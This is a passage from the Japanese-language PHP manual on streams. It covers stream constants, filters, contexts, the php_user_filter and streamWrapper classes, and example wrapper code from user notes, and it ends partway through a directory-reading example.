PSFS_ERR_FATAL * | 返値: ユーザー空間のフィルタにおいて、 復旧不可能なエラーが発生したことを示します。 (つまり、不正なデータを受け取ったということです。)
PSFS_FLAG_NORMAL | 通常の読み書き。
PSFS_FLAG_FLUSH_INC | インクリメンタルなフラッシュ。
PSFS_FLAG_FLUSH_CLOSE | 最後に閉じる前にフラッシュ。
STREAM_USE_PATH | フラグ: stream が include_path を使ったかどうかを示します。
STREAM_REPORT_ERRORS | フラグ: ストリームを開く際に、 ユーザー空間にある wrapper の側で、 trigger_error() を使ってエラーを発生させるかどうかを 示します。もし、このフラグがセットされていない場合は、 ユーザーの側でエラーを投げてはいけません。
STREAM_CLIENT_ASYNC_CONNECT | 非同期的にソケットを開きます。このオプションは、 STREAM_CLIENT_CONNECT フラグとともに使用する 必要があります。 stream_socket_client() と共に使われます。
STREAM_CLIENT_CONNECT | クライアントソケット接続を開きます。クライアントソケットは 常にこのフラグを含んでいる必要があります。 stream_socket_client() と共に使われます。
STREAM_CLIENT_PERSISTENT | stream_socket_client()を使って 開かれたソケットが、セッションをまたいでも保持されるよう 指示します。
STREAM_SERVER_BIND | stream_socket_server() で開かれたソケットが 特定のターゲットに関連付けられることを示します。 サーバーソケットには常にこのフラグが与えられているはずです。
STREAM_SERVER_LISTEN | stream_socket_server() で開かれ、 STREAM_SERVER_BIND によってターゲットに 関連付けられたストリームに、ソケットに対して接続待ちを開始するよう 指示します。 接続指向の転送（TCP のような）はこのフラグを使用する必要があります。 それ以外の場合はサーバーソケットが有効になりません。 このフラグを非接続指向の転送（UDP のような）に使用するとエラーになります。
STREAM_NOTIFY_RESOLVE | 該当するストリームにおいて、リクエストされたリモートのドメイン名の 解決に成功したか、失敗したことを示します。 このとき、何が起こっているかについては、 severity を参照ください。
STREAM_NOTIFY_CONNECT | 外部のリソースへの接続が確立されたことを示します。
STREAM_NOTIFY_AUTH_REQUIRED | 指定されたリソースにアクセスするためには、さらに認証情報が必要です。 通常に、STREAM_NOTIFY_SEVERITY_ERR の severity (深刻度) と共に通知されます。
STREAM_NOTIFY_MIME_TYPE_IS | リソースの mime タイプ が確認されました。 どのタイプと判定されたかについては、message を見てください。
STREAM_NOTIFY_FILE_SIZE_IS | 確認されたリソースのサイズを表します。
STREAM_NOTIFY_REDIRECTED | 外部リソースへのアクセスは、別の場所にリダイレクトされました。 詳細を知るには、message を調べてみてください。
STREAM_NOTIFY_PROGRESS | ストリームにおける転送の進捗が、 bytes_transferred または、場合によっては bytes_max に現れていることを示します。
STREAM_NOTIFY_COMPLETED | これ以上ストリームにデータがないことを示します。
STREAM_NOTIFY_FAILURE | ストリームにおいて一般的なエラーが発生したことを示します。 エラーの詳細については、 message と message_code を調べてみてください。
STREAM_NOTIFY_AUTH_RESULT | 認証が完了した(成功または失敗した)ことを示します。
STREAM_NOTIFY_SEVERITY_INFO | 正常な状態における、エラーでない通知があることを示します。
STREAM_NOTIFY_SEVERITY_WARN | 致命的でないエラーが発生したことを示します。処理は継続されます。
STREAM_NOTIFY_SEVERITY_ERR | 致命的なエラーが発生したことを示します。処理は中断されます。
STREAM_IPPROTO_ICMP + | ICMP ソケットを提供します。
STREAM_IPPROTO_IP + | IP ソケットを提供します。
STREAM_IPPROTO_RAW + | RAW ソケットを提供します。
STREAM_IPPROTO_TCP + | TCP ソケットを提供します。
STREAM_IPPROTO_UDP + | UDP ソケットを提供します。
STREAM_PF_INET + | Internet Protocol バージョン 4（IPv4）です。
STREAM_PF_INET6 + | Internet Protocol バージョン 6（IPv6）です。
STREAM_PF_UNIX + | Unix システムの内部プロトコルです。
STREAM_SOCK_DGRAM + | データグラムを提供します。これはコネクションレスのメッセージ （例: UDP）です。
STREAM_SOCK_RAW + | raw ソケットを提供します。これは内部のネットワークプロトコルや インターフェイスへのアクセス機能を提供します。通常、この形式の ソケットは root ユーザーが使用します。
STREAM_SOCK_RDM + | RDM（Reliably-delivered messages）ソケットを提供します。
STREAM_SOCK_SEQPACKET + | シーケンシャルパケットストリームソケットを提供します。
STREAM_SOCK_STREAM + | 帯域外データを転送するための、シーケンシャルで双方向の バイトストリーム（例: TCP）を提供します。
STREAM_SHUT_RD | stream_socket_shutdown() で使用し、 それ以降の受信を無効にします。 PHP 5.2.1 で追加されました。
STREAM_SHUT_WR | stream_socket_shutdown() で使用し、 それ以降の送信を無効にします。 PHP 5.2.1 で追加されました。
STREAM_SHUT_RDWR | stream_socket_shutdown() で使用し、 それ以降の送受信を無効にします。 PHP 5.2.1 で追加されました。
STREAM_CAST_FOR_SELECT | stream_select() が stream_cast() をコールしている場合のストリームのキャスト。
STREAM_CAST_AS_STREAM | stream_cast() が他からコールされた (上記参照) 場合のストリームのキャスト。
STREAM_META_TOUCH | stream_metadata() と組み合わせて使い、touch() のコールを指定します。
STREAM_META_OWNER | stream_metadata() と組み合わせて使い、chown() のコールを指定します。
STREAM_META_OWNER_NAME | stream_metadata() と組み合わせて使い、chown() のコールを指定します。
STREAM_META_GROUP | stream_metadata() と組み合わせて使い、chgrp() のコールを指定します。
STREAM_META_GROUP_NAME | stream_metadata() と組み合わせて使い、chgrp() のコールを指定します。
STREAM_META_ACCESS | stream_metadata() と組み合わせて使い、chmod() のコールを指定します。
STREAM_BUFFER_NONE | バッファリングを行いません。
STREAM_BUFFER_LINE | 行単位のバッファリングを行います。
STREAM_BUFFER_FULL | 全てをバッファリングします。

注意: + がつけられている定数は PHP 5.1.0 以降で使用可能で、 stream_socket_pair() とともに使用することが想定されています。 これらの定数の中にはあなたのシステムでは使用できないものがあるかもしれない ことに注意してください。

注意: The STREAM_META_* 定数は PHP 5.4.0 以降で使用可能で、 stream_metadata() とともに使用することが想定されています。

User Contributed Notes

There are no user contributed notes for this page.


ストリームフィルタ

フィルタ は、ストリームから読み込まれたり、 あるいは、ストリームから書き込まれたするデータに対して何らかの操作を行う、 最終段階にあるコードです。 PHP スクリプトの内部で、 stream_filter_register() を使って、 あるいは拡張モジュールの内部で、カスタムフィルタを作成することができます。 現在登録されているフィルタの一覧を取得するには、 stream_get_filters() をお使いください。

User Contributed Notes

There are no user contributed notes for this page.


ストリームコンテキスト

コンテキスト は、ストリームの挙動を変えたり、 拡張したりすることのできる パラメータ と ラッパー固有の オプション の集合です。 コンテキスト は、 stream_context_create() を使って生成しますが、 これは、ほとんどのファイルシステム関連のストリーム生成関数に 渡すことができます (例えば fopen(), file(), file_get_contents() など)。

オプション は、 stream_context_create() の呼び出し時に指定しますが、 後で stream_context_set_option() を使って 指定することもできます。 ラッパー固有の オプション については、 コンテキストオプションとパラメータ を参照ください。

さらに、stream_context_set_params() を使うことで、 パラメータ を、コンテキスト に対し指定することができます。

User Contributed Notes

alvaro at demogracia dot com 13-Jul-2015 12:19
Two important terms:

- An *option* is a protocol-specific setting, e.g. "method" (get, post, put...) if you are using HTTP or "callback function to be called when inserting a document" in MongoDB.

- A *parameter* is a settings that's common to all protocols. As of 2015 only one parameter got implemented ("notification").

While these words might look vague they are used coherently throughout the stream feature, documentation included.


ストリームのエラー

ファイルやソケット関連の関数で処理に失敗するのと同じように、 ストリームにおける操作も様々な予測できる理由で失敗することがあります (例: リモートホストに接続できない、ファイルが見つからない、等)。 また、ストリーム関連の関数呼び出しは、 スクリプトの実行されるシステムにおいて、 利用しようとしているストリームが登録されていないことから失敗することも あります。どのタイプのストリームがインストールされた PHP でサポートされているかは、 stream_get_wrappers() の返す配列の内容を参照 してください。なお、他の PHP の内部関数と同様、 E_WARNING メッセージがエラー時に出力され、 エラーの原因を報告します。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • ストリームラッパーとして登録するクラスの例

例1 file_get_contents() を使って さまざまな場所からデータを取得する

<?php
/* /home/bar にあるローカルファイルを読み出す */
$localfile = file_get_contents("/home/bar/foo.txt");

/* 上と同一だが、明示的に FILE スキームを指定している */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* HTTP を利用し、www.example.com にあるリモートのファイルを読み出す */
$httpfile  = file_get_contents("http://www.example.com/foo.txt");

/* HTTPS を利用し、www.example.com にあるリモートのファイルを読み出す */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* FTP を利用し、ftp.example.com にあるリモートのファイルを読み出す */
$ftpfile   = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* FTPS を利用し、ftp.example.com にあるリモートのファイルを読み出す */
$ftpsfile  = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

例2 https のサーバーに対して POST リクエストを行う

<?php
/* https://secure.example.com/form_action.php に対して POST リクエストを送信
 * ダミー値を持つ "foo" と "bar" というフォーム要素が含まれます。
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Fooの値") . "&bar=" . urlencode("Barの値");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);

fclose($sock);
?>

例3 データを圧縮ファイルに書き込む

<?php
/* 任意の文字列を含む圧縮ファイルを作成
 * ファイルは、compress.zlib ストリームを使っても、または単に
 * コマンドラインで 'gzip -d foo-bar.txt.gz' を使っても読み出せます。
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("ファイルが作成できません。");

fwrite($fp, "これはテストです。\n");

fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


ストリームラッパーとして登録するクラスの例

以下のサンプルは、var:// プロトコルハンドラを実装し、 指定した名前のグローバル変数の読み書きを fread() のような標準のファイルシステム関数でできるようにしています。 以下で実装した var:// プロトコルでは、URL "var://foo" で $GLOBALS["foo"] への読み書きを行います。

例1 グローバル変数の読み書き用のストリーム

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_write($data)
    {
        $left = substr($GLOBALS[$this->varname], 0, $this->position);
        $right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
        $GLOBALS[$this->varname] = $left . $data . $right;
        $this->position += strlen($data);
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->position;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

    function stream_seek($offset, $whence)
    {
        switch ($whence) {
            case SEEK_SET:
                if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
                     $this->position = $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_CUR:
                if ($offset >= 0) {
                     $this->position += $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_END:
                if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
                     $this->position = strlen($GLOBALS[$this->varname]) + $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            default:
                return false;
        }
    }

    function stream_metadata($path, $option, $var)
    {
        if($option == STREAM_META_TOUCH) {
            $url = parse_url($path);
            $varname = $url["host"];
            if(!isset($GLOBALS[$varname])) {
                $GLOBALS[$varname] = '';
            }
            return true;
        }
        return false;
    }
}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

?>

上の例の出力は以下となります。

line1
line2
line3
string(18) "line1
line2
line3
"

User Contributed Notes

pfe dot skh at gmail dot com 08-Aug-2010 09:47
Example of stream used with databases :

Requirement :
A MySQL database with a table named data structured as follow :
CREATE TABLE IF NOT EXISTS `data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(255) NOT NULL,
  `when_inserted` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Now with the stream implementation :

<?php

class DBStream {
    private $_pdo;
    private $_ps;
    private $_rowId = 0;

    function stream_open($path, $mode, $options, &$opath)
    {
        $url = parse_url($path);
        $url['path'] = substr($url['path'], 1);
        try{
            $this->_pdo = new PDO("mysql:host={$url['host']};dbname={$url['path']}", $url['user'], isset($url['pass'])? $url['pass'] : '', array());
        } catch(PDOException $e){ return false; }
        switch ($mode){
            case 'w' :
                $this->_ps = $this->_pdo->prepare('INSERT INTO data VALUES(null, ?, NOW())');
                break;
            case 'r' :
                $this->_ps = $this->_pdo->prepare('SELECT id, data FROM data WHERE id > ? LIMIT 1');
                break;
            default  : return false;
        }
        return true;
    }

    function stream_read()
    {
         $this->_ps->execute(array($this->_rowId));
         if($this->_ps->rowCount() == 0) return false;
         $this->_ps->bindcolumn(1, $this->_rowId);
         $this->_ps->bindcolumn(2, $ret);
         $this->_ps->fetch();
         return $ret;
    }

    function stream_write($data)
    {
        $this->_ps->execute(array($data));
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->_rowId;
    }

    function stream_eof()
    {
        $this->_ps->execute(array($this->_rowId));
        return (bool) $this->_ps->rowCount();
    }

    function stream_seek($offset, $step)
    {
        //No need to be implemented
    }
}

stream_register_wrapper('db', 'DBStream');

$fr = fopen('db://testuser@localhost/testdb', 'r');
$fw = fopen('db://testuser:testpassword@localhost/testdb', 'w');
//The two forms above are accepted : for the former, the default password "" will be used

$alg = hash_algos();
$al = $alg[array_rand($alg)];
$data = hash($al, rand(rand(0, 9), rand(10, 999))); // Some random data to be written
fwrite($fw, $data); // Writing the data to the wrapper
while($a = fread($fr, 256)){ //A loop for reading from the wrapper
    echo $a . '<br />';
}
?>

Hope it helps, cheers ;)


php_user_filter クラス

(PHP 5, PHP 7, PHP 8)

はじめに

このクラスの子クラスを stream_filter_register() に渡します。 子クラスの __construct メソッドは呼び出されないので注意して下さい: 初期化については、php_user_filter::onCreate() を変わりに使うべきです。

クラス概要

php_user_filter {
/* プロパティ */
public $filtername ;
public $params ;
/* メソッド */
public filter ( resource $in , resource $out , int &$consumed , bool $closing ) : int
public onClose ( ) : void
public onCreate ( ) : bool
}

プロパティ

filtername

stream_filter_append() で登録するフィルタの名前。

params

目次

  • php_user_filter::filter — フィルタを適用するときにコールされる
  • php_user_filter::onClose — フィルタを閉じるときにコールされる
  • php_user_filter::onCreate — フィルタを作成するときにコールされる

User Contributed Notes

There are no user contributed notes for this page.


フィルタを適用するときにコールされる

  • ≪ php_user_filter
  • php_user_filter::onClose ≫
  • PHP Manual
  • php_user_filter
  • フィルタを適用するときにコールされる

php_user_filter::filter

(PHP 5, PHP 7, PHP 8)

php_user_filter::filter — フィルタを適用するときにコールされる

説明

public php_user_filter::filter ( resource $in , resource $out , int &$consumed , bool $closing ) : int

このメソッドがコールされるのは、アタッチしたストリームとの間で (fread() や fwrite() による) データの読み書きを行ったときです。

パラメータ

in

in は バケット群 を指すリソースで、 この中には一つあるいは複数の バケット オブジェクトが含まれています。 このオブジェクトに、フィルタ対象のデータが含まれます。

out

out はもう一つの バケット群 を指すリソースで、 変更した内容をここに保存します。

consumed

consumed は常に参照渡しとする必要があります。 フィルタで読み込んだり変更したりしたデータの長さをここで加算します。 大半の場合、各 $bucket 上で $bucket->datalen をコールするたびに consumed を増やすことになります。

closing

ストリームが終了処理の最中である場合 (つまり、フィルタチェインの最後の処理を行っている場合) に、closing パラメータが true となります。

返り値

filter() メソッドは、処理を終えたときに次のいずれかの値を返す必要があります。

返り値 | 意味
PSFS_PASS_ON | フィルタの処理が成功し、データが out バケット群 に保存されました。
PSFS_FEED_ME | フィルタの処理は成功しましたが、返すデータはありません。 ストリームあるいは一つ前のフィルタから、さらにデータが必要です。
PSFS_ERR_FATAL (デフォルト) | フィルタで対処不能なエラーが発生し、処理を続行できません。

User Contributed Notes

There are no user contributed notes for this page.


フィルタを閉じるときにコールされる

  • ≪ php_user_filter::filter
  • php_user_filter::onCreate ≫
  • PHP Manual
  • php_user_filter
  • フィルタを閉じるときにコールされる

php_user_filter::onClose

(PHP 5, PHP 7, PHP 8)

php_user_filter::onClose — フィルタを閉じるときにコールされる

説明

public php_user_filter::onClose ( ) : void

このメソッドがコールされるのはフィルタを終了する (通常は、同時にストリームも終了する) ときで、flush メソッドよりも 後で 実行されます。 onCreate() で何らかのリソースを確保したり初期化したりしていた場合は、ここで破棄することになります。

パラメータ

この関数にはパラメータはありません。

返り値

返り値は無視されます。

User Contributed Notes

There are no user contributed notes for this page.


フィルタを作成するときにコールされる

  • ≪ php_user_filter::onClose
  • streamWrapper ≫
  • PHP Manual
  • php_user_filter
  • フィルタを作成するときにコールされる

php_user_filter::onCreate

(PHP 5, PHP 7, PHP 8)

php_user_filter::onCreate — フィルタを作成するときにコールされる

説明

public php_user_filter::onCreate ( ) : bool

このメソッドがコールされるのは、フィルタクラスのオブジェクトのインスタンスを生成するときです。 他のリソース (バッファなど) を確保したり初期化したりする場合は、このメソッドで行います。

フィルタのインスタンスを作成して yourfilter->onCreate() をコールすると、 以下の表に示すさまざまなプロパティが使えるようになります。

プロパティ | 内容
FilterClass->filtername | フィルタのインスタンスを作成するときの名前を表す文字列。 フィルタを登録するときには、複数の名前を使ったりワイルドカードを使ったりできます。 このプロパティを使って、どの名前が用いられたのかを判断します。
FilterClass->params | stream_filter_append() あるいは stream_filter_prepend() に渡された params パラメータの内容。
FilterClass->stream | フィルタの対象となるストリームリソース。 closing パラメータが false の状態で filter() がコールされている間だけ存在します。

パラメータ

この関数にはパラメータはありません。

返り値

このメソッドを実装は、成功した場合に true そして失敗した場合に false を返す必要があります。

User Contributed Notes

There are no user contributed notes for this page.


streamWrapper クラス

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

はじめに

独自のプロトコルハンドラやストリームを実装し、 (fopen() や fread() などの) 他のファイルシステム関数で使用できるようにします。

注意:

これは、実際のクラスではありません。 クラスがどのようにプロトコルを定義すべきかを示す、単なるプロトタイプです。

注意:

ここに示す方法以外でメソッドを実装した場合の挙動は未定義となります。

このクラスのインスタンスは、 関連付けられているプロトコルへのストリーム関数からのアクセスがあった時点で初期化されます。

クラス概要

streamWrapper {
/* プロパティ */
public resource $context ;
/* メソッド */
__construct ( )
__destruct ( )
public dir_closedir ( ) : bool
public dir_opendir ( string $path , int $options ) : bool
public dir_readdir ( ) : string
public dir_rewinddir ( ) : bool
public mkdir ( string $path , int $mode , int $options ) : bool
public rename ( string $path_from , string $path_to ) : bool
public rmdir ( string $path , int $options ) : bool
public stream_cast ( int $cast_as ) : resource
public stream_close ( ) : void
public stream_eof ( ) : bool
public stream_flush ( ) : bool
public stream_lock ( int $operation ) : bool
public stream_metadata ( string $path , int $option , mixed $value ) : bool
public stream_open ( string $path , string $mode , int $options , string &$opened_path ) : bool
public stream_read ( int $count ) : string
public stream_seek ( int $offset , int $whence = SEEK_SET ) : bool
public stream_set_option ( int $option , int $arg1 , int $arg2 ) : bool
public stream_stat ( ) : array|false
public stream_tell ( ) : int
public stream_truncate ( int $new_size ) : bool
public stream_write ( string $data ) : int
public unlink ( string $path ) : bool
public url_stat ( string $path , int $flags ) : array
}

プロパティ

resource context

現在のコンテキスト、 あるいは呼び出し元からコンテキストが渡されていない場合は null。

stream_context_get_options() を用いてコンテキストをパースします。

注意:

このプロパティは必ず public とし、 PHP が実際のコンテキストリソースを設定できるようにしなければなりません。

参考

  • ストリームラッパーとして登録するクラスの例
  • stream_wrapper_register()
  • stream_wrapper_unregister()
  • stream_wrapper_restore()

目次

  • streamWrapper::__construct — 新しいストリームラッパーを作成する
  • streamWrapper::__destruct — 既存のストリームラッパーを破棄する
  • streamWrapper::dir_closedir — ディレクトリハンドルを閉じる
  • streamWrapper::dir_opendir — ディレクトリハンドルをオープンする
  • streamWrapper::dir_readdir — ディレクトリハンドルからエントリを読み込む
  • streamWrapper::dir_rewinddir — ディレクトリハンドルを巻き戻す
  • streamWrapper::mkdir — ディレクトリを作成する
  • streamWrapper::rename — ファイルあるいはディレクトリの名前を変える
  • streamWrapper::rmdir — ディレクトリを削除する
  • streamWrapper::stream_cast — 元となるリソースを取得する
  • streamWrapper::stream_close — リソースを閉じる
  • streamWrapper::stream_eof — ファイルポインタが終端にあるかどうかを調べる
  • streamWrapper::stream_flush — 出力をフラッシュする
  • streamWrapper::stream_lock — ファイルのアドバイザリ・ロック
  • streamWrapper::stream_metadata — ストリームメタデータを変更する
  • streamWrapper::stream_open — ファイルあるいは URL をオープンする
  • streamWrapper::stream_read — ストリームから読み込む
  • streamWrapper::stream_seek — ストリーム内の特定の場所に移動する
  • streamWrapper::stream_set_option — ストリームのオプションを変更する
  • streamWrapper::stream_stat — ファイルリソースについての情報を取得する
  • streamWrapper::stream_tell — ストリームの現在位置を取得する
  • streamWrapper::stream_truncate — ストリームを丸める
  • streamWrapper::stream_write — ストリームに書き込む
  • streamWrapper::unlink — ファイルを削除する
  • streamWrapper::url_stat — ファイルについての情報を取得する

User Contributed Notes

info at ensostudio dot ru 29-Jul-2020 11:09
THIS METHODS NOT REQUIRED, you can implement only part of their: directories, files, etc.
For example, "glob://" support minimal syntax, glob() more powerful, you can replace/extend native wrapper: check options in table https://www.php.net/manual/ru/wrappers.glob , you need create wrapper only with 'dir_...dir' methods. For more info, see https://www.php.net/manual/en/class.globiterator.php#125220
Anonymous 21-Sep-2011 12:02
Here is a very simple stream wrapper which calls your callback function for reads:

<?php

class CallbackUrl
{
    const WRAPPER_NAME = 'callback';

    public $context;
    private $_cb;
    private $_eof = false;

    private static $_isRegistered = false;

    public static function getContext($cb)
    {
        if (!self::$_isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$_isRegistered = true;
        }
        if (!is_callable($cb)) return false;
        return stream_context_create(array(self::WRAPPER_NAME => array('cb' => $cb)));
    }

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) return false;
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])) return false;
        $this->_cb = $opt[self::WRAPPER_NAME]['cb'];
        return true;
    }

    public function stream_read($count)
    {
        if ($this->_eof || !$count) return '';
        if (($s = call_user_func($this->_cb, $count)) == '') $this->_eof = true;
        return $s;
    }

    public function stream_eof()
    {
        return $this->_eof;
    }
}

class Test {
    private $_s;
    public function __construct($s)
    {
        $this->_s = $s;
    }
    public function read($count) {
        return fread($this->_s, $count);
    }
}

$t = new Test(fopen('/etc/services', 'r'));
$fd = fopen('callback://', 'r', false, CallbackUrl::getContext(array($t, 'read')));
while(($buf = fread($fd, 128)) != '') {
    print $buf;
}
?>
isaac dot z dot no dot foster at spam dot gmail dot please dot com 22-Oct-2010 09:12
It's worth noting that the interface defined by yannick at gmail should not always be implemented by a stream wrapper class, as several of the methods should not be implemented if the class has no use for them (as per the manual).

Specifically, mkdir, rename, rmdir, and unlink are methods that "should not be defined" if the wrapper has no use for them. The consequence is that the appropriate error message will not be returned.

If the interface is implemented, you won't have the flexibility to not implement those methods.

Not trying to be academic, but it was useful for me.
yannick dot battail at gmail dot com 17-Jul-2009 02:38
a php interface for wrapper

<?php
interface WrapperInterface
{
    /**
     * resource context
     *
     * @var resource
     */
    //public $context;

    /**
     * constructor
     *
     */
    public function __construct();

    /**
     *
     *
     * @return bool
     */
    public function dir_closedir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function dir_opendir($path , $options);

    /**
     * Enter description here...
     *
     * @return string
     */
    public function dir_readdir();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function dir_rewinddir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $mode
     * @param int $options
     * @return bool
     */
    public function mkdir($path , $mode , $options);

    /**
     * Enter description here...
     *
     * @param string $path_from
     * @param string $path_to
     * @return bool
     */
    public function rename($path_from , $path_to);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function rmdir($path , $options);

    /**
     * Enter description here...
     *
     * @param int $cast_as
     * @return resource
     */
    public function stream_cast($cast_as);

    /**
     * Enter description here...
     *
     */
    public function stream_close();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_eof();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_flush();

    /**
     * Enter description here...
     *
     * @param mode $operation
     * @return bool
     */
    public function stream_lock($operation);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param string $mode
     * @param int $options
     * @param string &$opened_path
     * @return bool
     */
    public function stream_open($path , $mode , $options , &$opened_path);

    /**
     * Enter description here...
     *
     * @param int $count
     * @return string
     */
    public function stream_read($count);

    /**
     * Enter description here...
     *
     * @param int $offset
     * @param int $whence = SEEK_SET
     * @return bool
     */
    public function stream_seek($offset , $whence = SEEK_SET);

    /**
     * Enter description here...
     *
     * @param int $option
     * @param int $arg1
     * @param int $arg2
     * @return bool
     */
    public function stream_set_option($option , $arg1 , $arg2);

    /**
     * Enter description here...
     *
     * @return array
     */
    public function stream_stat();

    /**
     * Enter description here...
     *
     * @return int
     */
    public function stream_tell();

    /**
     * Enter description here...
     *
     * @param string $data
     * @return int
     */
    public function stream_write($data);

    /**
     * Enter description here...
     *
     * @param string $path
     * @return bool
     */
    public function unlink($path);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $flags
     * @return array
     */
    public function url_stat($path , $flags);
}

?>


新しいストリームラッパーを作成する

  • ≪ streamWrapper
  • streamWrapper::__destruct ≫
  • PHP Manual
  • streamWrapper
  • 新しいストリームラッパーを作成する

streamWrapper::__construct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__construct — 新しいストリームラッパーを作成する

説明

streamWrapper::__construct ( )

ストリームラッパーをオープンしたときに、 streamWrapper::stream_open() の直前にコールされます。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


既存のストリームラッパーを破棄する

  • ≪ streamWrapper::__construct
  • streamWrapper::dir_closedir ≫
  • PHP Manual
  • streamWrapper
  • 既存のストリームラッパーを破棄する

streamWrapper::__destruct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__destruct — 既存のストリームラッパーを破棄する

説明

streamWrapper::__destruct ( )

ストリームラッパーを閉じるときに、 streamWrapper::stream_flush() の直前に呼び出されます。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルを閉じる

  • ≪ streamWrapper::__destruct
  • streamWrapper::dir_opendir ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリハンドルを閉じる

streamWrapper::dir_closedir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_closedir — ディレクトリハンドルを閉じる

説明

public streamWrapper::dir_closedir ( ) : bool

このメソッドは closedir() に対応してコールされます。

ディレクトリストリームをオープンして使用している際にロックしたり割り当てたりしたリソースは、 すべて開放しなければなりません。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • closedir() - ディレクトリハンドルをクローズする
  • streamWrapper::dir_opendir() - ディレクトリハンドルをオープンする

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルをオープンする

  • ≪ streamWrapper::dir_closedir
  • streamWrapper::dir_readdir ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリハンドルをオープンする

streamWrapper::dir_opendir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_opendir — ディレクトリハンドルをオープンする

説明

public streamWrapper::dir_opendir ( string $path , int $options ) : bool

このメソッドは、opendir() に対応してコールされます。

パラメータ

path

opendir() に渡す URL を指定します。

注意:

parse_url() でこの URL が壊れることがあります。

options

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • opendir() - ディレクトリハンドルをオープンする
  • streamWrapper::dir_closedir() - ディレクトリハンドルを閉じる
  • parse_url() - URL を解釈し、その構成要素を返す

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルからエントリを読み込む

  • ≪ streamWrapper::dir_opendir
  • streamWrapper::dir_rewinddir ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリハンドルからエントリを読み込む

streamWrapper::dir_readdir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_readdir — ディレクトリハンドルからエントリを読み込む

説明

public streamWrapper::dir_readdir ( ) : string

このメソッドは、readdir() に対応してコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

次のファイル名をあらわす文字列、あるいは次のファイルがない場合に false を返します。

注意:

返り値は文字列にキャストされます。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

例

例1 tar アーカイブのファイル一覧

<?php
class streamWrapper {
    protected $fp;

    public function dir_opendir($path, $options) {
        $url = parse_url($path);

        $path = $url["host"] . $url["path"];

        if (!is_readable($path)) {
            trigger_error("$path isn't readable for me", E_USER_NOTICE);
            return false;
        }
        if (!is_file($path)) {
            trigger_error("$path isn't a file", E_USER_NOTICE);
            return false;
        }

        $this->fp = fopen($path, "rb");
        return true;
    }

    public function dir_readdir() {
        // Extract the header for this entry
